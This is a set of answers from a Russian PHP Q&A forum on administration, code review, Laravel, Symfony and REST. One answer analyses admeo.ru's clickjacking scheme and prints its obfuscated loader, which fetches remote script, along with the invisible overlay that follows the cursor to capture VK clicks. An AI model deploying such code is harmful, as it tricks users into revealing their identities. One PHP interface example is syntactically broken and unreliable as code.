• Что должен знать веб-программист по администрированию?

    saboteur_kiev
    @saboteur_kiev
    software engineer
    1. Уметь устанавливать lamp/wamp (шикарно, если вообще уметь установить все с нуля, отдельно apache/nginx отдельно php и подключить к веб серверу, отдельно *sql), но в принципе просто поднять рабочую конфигурацию под сайт - крайне полезно

    2. Обязательно иметь понимание о файловой системе (права доступа, как создать и где какие есть ссылки, точки монтирования)

    3. Уметь работать с удаленными файлами (ssh, ftp), чтобы понимать куда и как можно что-то залить

    4. Хорошо уметь посмотреть лог файл от ваших сервисов (например лог файл веб-сервера, чтобы понять что не так)

    Ну хотя бы так.
    Ответ написан
    3 комментария
  • Как повысить квалификацию php-программисту?

    Fesor
    @Fesor
    Full-stack developer (Symfony, Angular)
    Сделаны даже не по MVC.

    Могу открыть страшную тайну - большинство людей так делают, даже если называют это MVC.

    думая только о логике приложения, а не вспоминая какие именно функции мне нужны.

    Ну так IDE за тем и нужны. Что бы не вспоминать какой порядок аргументов у той или иной функции, автокомплиты всякие и т.д. Даже люди, которые пользуются VIM и т.д. ставят себе сервера автокомплита и пользуются всем этим не потому что PhpStorm развращает, а потому что для них PhpStorm уже жмет (слишком умный, делает слишком много и от того медленно).

    Уверенные знания заключаются в понимании того, что вы делаете. Заучивать API глупо, сегодня оно одно - завра другое. Вам нужно только помнить что что-то такое есть и уметь составлять поисковые запросы. То чем вы пользуетесь каждый день и так в памяти отложится.
    Ответ написан
    Комментировать
  • Как сделать чтобы отладка начиналась с заданного места в PhpStorm?

    @shagguboy
    галка "force break at the first line then no path mapping specified" в настройках

    и вот это:
    Q184k.png
    Ответ написан
    1 комментарий
  • Попросили проверить код, на что смотреть нужно?

    index0h
    @index0h
    PHP, Golang. https://github.com/index0h
    Смотря зачем)). Я когда делаю Code Review критерии следующие:

    * Безопасность:
    - Каждый аргумент метода простого типа должен проверяться на тип в случае его проксирования и на граничные значения в случае обработки. Чуть что не так - бросается исключение. Если метод с кучкой аргументов на 80% состоит из поверки из аргументов - это вполне норм))
    - Никаких trigger_error, только исключения.
    - Исключения ДОЛЖНЫ быть человеко-понятны, всякие "Something went wrong" можно отдавать пользователю, но в лог должно попасть исключение со стектрейсом и человеко-понятным описанием, что же там пошло не так.
    - Каждый аргумент (объект) метода должен быть с тайпхинтингом на этот его класс, или интерфейс.
    - За eval как правило шлю на **й.
    - @ допускается только в безвыходных ситуациях, например проверка json_last_error.
    - Перед работой с БД - обязательная проверка данных.
    - Никаких == и !=. Со swtich - единственное исключение, по ситуации.
    - Если метод возвращает не только bool, а еще что-то - жесткая проверка с ===, или !== обязательна.
    - Никаких условий с присваиваниями внутри. while($row = ...) - тоже идет лесом.
    - Магические геттеры/сеттеры разрешаются только в безвыходных ситуациях, в остальном - запрещены.
    - Конкатенации в sql - только в безвыходных ситуациях.
    - Параметры в sql - ТОЛЬКО через плейсхолдеры.
    - Никаких глобальных переменных.
    - Даты в виде строки разрешаются только в шаблонах и в БД, в пхп коде сразу преобразуется в \DateTimeImmutable (в безвыходных ситуациях разрешено \DateTime)
    - Конечно зависит от проекта, но как приавло должно быть всего две точки входа: index.php для web и console(или как-то по другому назваться) - для консоли.

    * Кодстайл PSR-2 + PSR-5 как минимум, + еще куча более жестких требований (для начала все то что в PSR помечено как SHOULD - становится MUST)
    - В PhpStorm ни одна строчка не должна подсвечиваться (исключением является typo ошибки, например словарик не знает какой-то из аббревиатур, принятых в вашем проекте). При этом разрешается использовать /** @noinspection *** */ для безвыходных ситуаций.
    - Если кто-то говорит, что пишет в другом редакторе и у него не подсвечивается, на эти отговорки кладется ВОТ ТАКЕЕЕНЫЙ мужской половой **й и отправляется на доработку)).

    * Организация кода:
    - Никаких глобальных функций.
    - Классы без неймспейса разрешаются только в исключительно безвыходных ситуациях.

    * Тестируемость (в смысле простота тестирования) кода должна быть высокая.
    - Покрытие кода обязательно для всех возможных кейсов использования каждого публичного метода с моками зависимостей.

    * Принципы MVC:
    - Никаких обработок пользовательского ввода в моделях, от слова совсем.
    - Никаких ***ть запросов в БД из шаблонов.
    - Никаких верстки/js/css/sql-ин в контроллерах.
    - В моделях НИКАКОЙ МАГИИ, только приватные свойства + геттеры с сеттерами.
    - В моделях разрешено использовать метод save(при наличии такого разумеется) только в исключительных ситуациях. Во всех остальных - либо insert, либо update.

    * Принципы SOLD:
    - Никаких божественных объектов умеющих во все.
    - Если метод для внутреннего пользования - private, никаких public.
    - Статические методы разрешаются только в случае безвыходности.

    * Принцип DRY разрешено нарушать в случаях:
    - Явного разделения обязанностей
    - В тестах (каждый тест должен быть независимым, на сколько это возможно)

    * Работа с БД:
    - Запрос в цикле должен быть РЕАЛЬНО обоснован.
    - За ORDER BY RAND() - шлю на***й.
    - Поиск не по ключам (конечно если таблица НЕ на 5 строк) запрещен.
    - Поиск без LIMIT (опять же если таблица НЕ на 5 строк) запрещен.
    - SELECT * - запрещен.
    - Денормализация БД должна быть обоснована.
    - MyISAM не используется (так уж)) )
    - Множественные операции обязательно в транзакции, с откатом если чо пошло не так.
    - БД не должна содержать бизнес логики, только данные в целостном виде.
    - Не должно быть нецелесообразного дерганья БД там, где без этого можно обойтись.

    * Кэш должен очищаться по двум условиям (не по одному из, а именно по двум):
    - Время.
    - Протухание по бизнес логике.
    Разрешается по только времени в безвыходных ситуациях, но тогда время - короткий период.
    - При расчете ключей кэша должна использоваться переменная из конфигурации приложения (на случай обновлений кэш сбрасывается кодом, а не флашем кэш-сервера). В случае использования множества серверов - это очень удобный и гибкий инструмент при диплое.

    * О людях:
    - "Я привык писать так и буду дальше" - не вопрос, ревью пройдешь только когда поменяешь свое мнение.
    - "Я пишу в vim-е и мне так удобно" - здорово, код консолью я тоже в нем пишу)) но есть требования к коду, если в них не сможешь - не пройдешь ревью.
    - "Я скопировал этот страшный метод и поменял 2 строчки" - это конечно замечательно, но по блейму автор всего этого метода ты, так что давай без говняшек, хорошо?
    - "Оно же работает!" - вот эта фраза переводится примерно так: "да, я понимаю, что пишу полную хрень, но не могу писать нормально потому, что руки из жо", я правильно тебя понял?))
    - "У меня все работает!" - рад за тебя, а как на счет продакшна?
    - "Там все просто" - не используй слово "просто", от слова "совсем". Вот тебе кусок кода (первого попавшегося с сложной бизнес логикой), где там ошибка (не важно есть она, или нет)? Ты смотришь его уже 2 минуты, в чем проблема, там же все "просто"))

    * Всякое:
    ActiveRecord (это я вам как в прошлом фанат Yii говорю) - полное говно, примите за исходную. По факту у вас бесконтрольно по проекту гуляют модельки с подключением к БД. Не раз натыкался на то, что в тех же шаблонах вызывают save, или update (за такое надо сжигать).
    То, что используется Laravel - это печально((. Что бы выполнить требования приведенные выше, приходится "воевать" с фреймворком.

    Это далеко не полный список требований, очень много зависит от проекта в целом и от принципов, заложенных в нем. Для больших мредж реквестов 200 комментариев к коду - это ок. Дерзайте.

    UPD

    Формализировал данные критерии по ссылочке: https://github.com/index0h/php-conventions
    Ответ написан
    55 комментариев
  • Что этот код означает?

    @GreatRash
    $entry['title'] = '';
    $entry['body'] = '';
    $entry['tags'] = '';
    Ответ написан
    Комментировать
  • Что этот код означает?

    @djay
    Это сокращенная запись:

    $entry['title'] = '';
    $entry['body'] = '';
    $entry['tags'] = '';
    Ответ написан
    Комментировать
  • Веб приложение на Symfony Components, как правильно?

    Fesor
    @Fesor
    Full-stack developer (Symfony, Angular)
    Разделить приложение по паттерну MVC,


    Ваш MVC плавно превращается в MVA, а MVA плавно превращается в луковую архитектуру.

    и слоя такого как модель нет

    Потому что модель это не слой, это объект. Один одинешенек (в контексте одного реквеста) такой... его задача взять запрос и выплюнуть данные. То есть для контроллера модель это сервис, для шаблона модель это... сущности или DTO.

    Модель это ВСЕ ЧТО УГОДНО что умеет обрабатывать данные и содержит их.

    Symfony же это UI фреймворк, который всего-лишь позволяет вам быстро организовать UI к вашему приложению (HTTP API или CLI скрипты это только UI приложения) и потому как именно вы будете организовывать архитектуру приложения - это чисто ваша забота. Симфони вам предоставляет только контейнер зависимостей что бы организовать сервисный слой удобненько.

    MVC это бесполезные три буквы которые не говорят ровным счетом ничего о том как у вас чего организуется. MVA уже лучше и это именно то что использует подавляющее большиинство на бэкэнде последние лет 10 (в том числе и RoR), но концепция та же - разделение логики представления данных от логики обработки этих данных.

    Тогда как поступить с этим? Есть компонент форм для валидации данных и заполнения полей авторизации-регистрации, есть ORM а как мне связать и валидацию и записи через ORM в объект User допустим.


    Вам как правильно сделать или как удобно? Как удобно зависит от вас. Вы можете и писать из форм прямо в сущности анемичные и т.д. и еще как хотите. Но по сути флоу должен быть примерно таким:

    компонент форм пишет данные в DTO (тупые контейнеры данных). DTO идут в сервисный слой где данные мэпятся на сущность. Сущности (у нас же это пропел)... по правилоному за их сохранноть должны отвечать репозитории, а внутри уже что угодно используйте, но раз уж у нас active record то все что мы можем тут сделать - просто вызвать save в сервисах либо страдать (доктрина в этом плане намного удобнее но у нее есть свои проблемы, а так же она сложная).

    Но я крайне сомневаюсь что вы откажитесь от удобств и станите делать DTO. Скорее всего для вас просто не будет в них профита, они нужны для инкапсуляции сервисного слоя, то есть что бы UI ничегошеньки не знал о том как реализовано нутро, что бы вы могли все менять когда захотите. Сущности - это деталь реализации сервисного слоя, они никогда не должны попадать в контроллеры, но иногда это удобно. А хорошая архитектура - это та с которой удобно работать в конце концов (то есть мы балансируем между простотой и изоляцией изменений).

    Так же рекомендую почитать вот эту штуку: The Twelve Factors
    Ответ написан
    Комментировать
  • Как admeo.ru узнает номер телефона?

    27cm
    @27cm
    TODO: Написать статус
    Clickjacking

    О кликджекинге написано много статей, в том числе и на Хабре, но всё же заглянем внутрь admeo.ru и посмотрим, как это реализовано у них.

    1. В коде есть скрипт, буквально бросающийся в глаза:
    <script src="data:text/javascript;charset=utf-8;base64,KGZ1bmN0aW9uKGIsYyl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPWRvY3VtZW50LGY9YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgic2NyaXB0IilbMF0scz1hLmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpLGg9ZXNjYXBlKGEucmVmZXJyZXIpO3MudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzLmNoYXJzZXQ9IlVURi04IjtzLmFzeW5jPSEwO3Muc3JjPSIvLyIrYisiLyIrYysiLmpzP3I9IitNYXRoLnJhbmRvbSgpO2YucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUocyxmKX0sMCl9KSgiYWRtZW8ucnUiLCJlZGI0MmE4MTg3MzE4NTY5NmFjNTJlMmJiNGJmNmVlYSIpOw==" async=""></script>

    2. Декодируем:
    (function(b,c){setTimeout(function(){
    var a=document,f=a.getElementsByTagName("script")[0],
    s=a.createElement("script"),h=escape(a.referrer);s.type="text/javascript";
    s.charset="UTF-8";s.async=!0;s.src="//"+b+"/"+c+".js?r="+Math.random();
    f.parentNode.insertBefore(s,f)},0)})("admeo.ru","edb42a81873185696ac52e2bb4bf6eea");

    3. Внутри edb42a81873185696ac52e2bb4bf6eea.html:
    <html>
    <head></head>
    <body onclick="admeoVk.click()">
    <div id="vk_api_transport"></div>
    <div id="cwvkid" style="cursor:pointer!important;clear: both;background: none;position: fixed !important;top: 0;left: 0;bottom: 0;right: 0;width: 100%;height: 100%;border: none;margin: 0;padding: 0;opacity: 0;z-index: 88888;visibility: visible;"></div>
    <div id="myvklogin"></div>
    <script language="JavaScript">
        var admeoParams = {
            token: 'edb42a81873185696ac52e2bb4bf6eea',
            apiUrl: 'http://admeo.ru/',
            appId: 4906527,
            host: 'admeo.ru',
            siteId: 15,
            cName: 'amuid'
        };
    
        (function(i,s,o,g,r,a,m){i['AdmeoObject']=r;i[r]=i[r]||function(){
                (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
            m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
        })(window,document,'script', 'http://static.admeo.ru/assets/core/_vk.js','admeo');
    </script>
    </body>
    </html>

    Странное решение оставить cursor:pointer!important...
    4. static.admeo.ru/assets/core/_vk.js
    5. Прозрачная кнопка Like Вконтакте движется под курсором и ждёт, когда на неё кликнут:
    window.onmousemove = function(e){
        document.querySelector('#cwvkid').style.left = e.pageX - 70;
        document.querySelector('#cwvkid').style.top = e.pageY - 12;
    };
    Ответ написан
    10 комментариев
  • До сколько лет реально выучить php и устроиться в какую нибудь компанию, что бы там получить уже реальный опыт?

    @litvin2
    Как и русский, английский, китайский и прочие языки, так и языки программирования –-– выучить невозможно. Что значит "выучить PHP"? Знать ВСЕ доступные функции?

    Потрать два года, пиши свои примитивные проекты, разбирай чужие, читай вопрос-ответы тут, найди в инете задачи по PHP, составь резюме с портфолио и устройся самым простым программистом. А потом вкалывай и расти с каждым годом свой скилл.
    Ответ написан
    Комментировать
  • Стоит ли создавать интернет-магазин для портфолио на чистом PHP?

    opium
    @opium
    Просто люблю качественно работать
    Всегда есть смысл что то делать для портфолио.
    Ответ написан
    Комментировать
  • Как подключить css и js в Blade, Laravel 5.1.23?

    Udjine
    @Udjine Автор вопроса
    Программист студии True.Code
    {{ URL::asset('css/css.css'); }} ведет в /public/css, {{ URL::asset('js/main.js'); }} ведет в /public/js, собственно туда и следует складывать css и js соответственно. Всем спасибо, всё оказалось довольно просто.
    Ответ написан
    5 комментариев
  • Как подключить css и js в Blade, Laravel 5.1.23?

    Denormalization
    @Denormalization
    {{ asset('путь') }}

    Где 'путь' - путь от корня сайта.
    Сама функция asset возвращает url сайта.
    Т.е asset('js/main.js') вернет:
    http://host/js/main.js

    Папка JS должна лежать в папке public.
    Ответ написан
    1 комментарий
  • Существует ли PSR для именования полей, таблиц, бд?

    27cm
    @27cm
    TODO: Написать статус
    Ответ написан
    Комментировать
  • Что значит передача интерфейса в качестве параметра?

    erniesto77
    @erniesto77
    oop, rb, py, php, js
    что то вроде этого... если интерфейс в параметре, то мы можем туда передать любой экземпляр класса имплементирующий указанный интерфейс.
    interface Berry {
        public function getSugar() {};
    }
     
    class Strawberries implements Berry {
        public function getSugar() {
            return 20;
        }
    }
     
    class Watermelon implements Berry {
        public function getSugar() {
            return 50;
        }
    }
     
    class Omnomnom() {
     
        public function printBerrySugar(Berry $berry) {
            return print($berry->getSugar());
        }
        
        public function test() {
            $this->printBerrySugar(new Strawberries ());
            $this->printBerrySugar(new Watermelon ());
        }
    }
    Ответ написан
    Комментировать
  • Как в middleware проверить существует ли передаваемый user_id?

    zvermafia
    @zvermafia
    WebDev
    if ($request->has('user_id'))
    {
        // Yes
    }
    else
    {
        // No
    }
    Ответ написан
    Комментировать
  • Должны ли роуты для REST строиться динамически?

    Flaker
    @Flaker
    У вас 3 сущности: User, Post, Comment.
    REST подразумевает что к каждой из них можно обращаться обособленно от других.
    Т.е., у вас будут роуты вида:
    /posts
    /posts/{id}
    /users
    ...


    Если вы делаете Single Page Application, то логично будет подгружать каждую из них по мере надобности (Да, в несколько отдельных запросов)

    Но что бы не делать 3 запроса, вы можете подружать их все вместе, указывая что подргужать с помощью get параметров. Например:
    /users?with=posts,likes

    Свое API вы можете создавать сами и REST не панацея. Определенно, стоит знать его идеи, но вслепую следовать им не стоит.
    Ответ написан
    1 комментарий
  • Почему не работает проверка фаила Laravel?

    @Kostik_1993
    Web Developer
    Используй
    $request->hasFile('img1');
    Ответ написан
    Комментировать
  • Как решить проблему с ЧПУ, когда url не обновляется?

    reaferon
    @reaferon
    Подозреваю, что у вас ссылки вида
    <a href="catalog/armchairs/0/2">link</a>
    Поставьте слэш:
    <a href="/catalog/armchairs/0/2">link</a>
    Ответ написан
    1 комментарий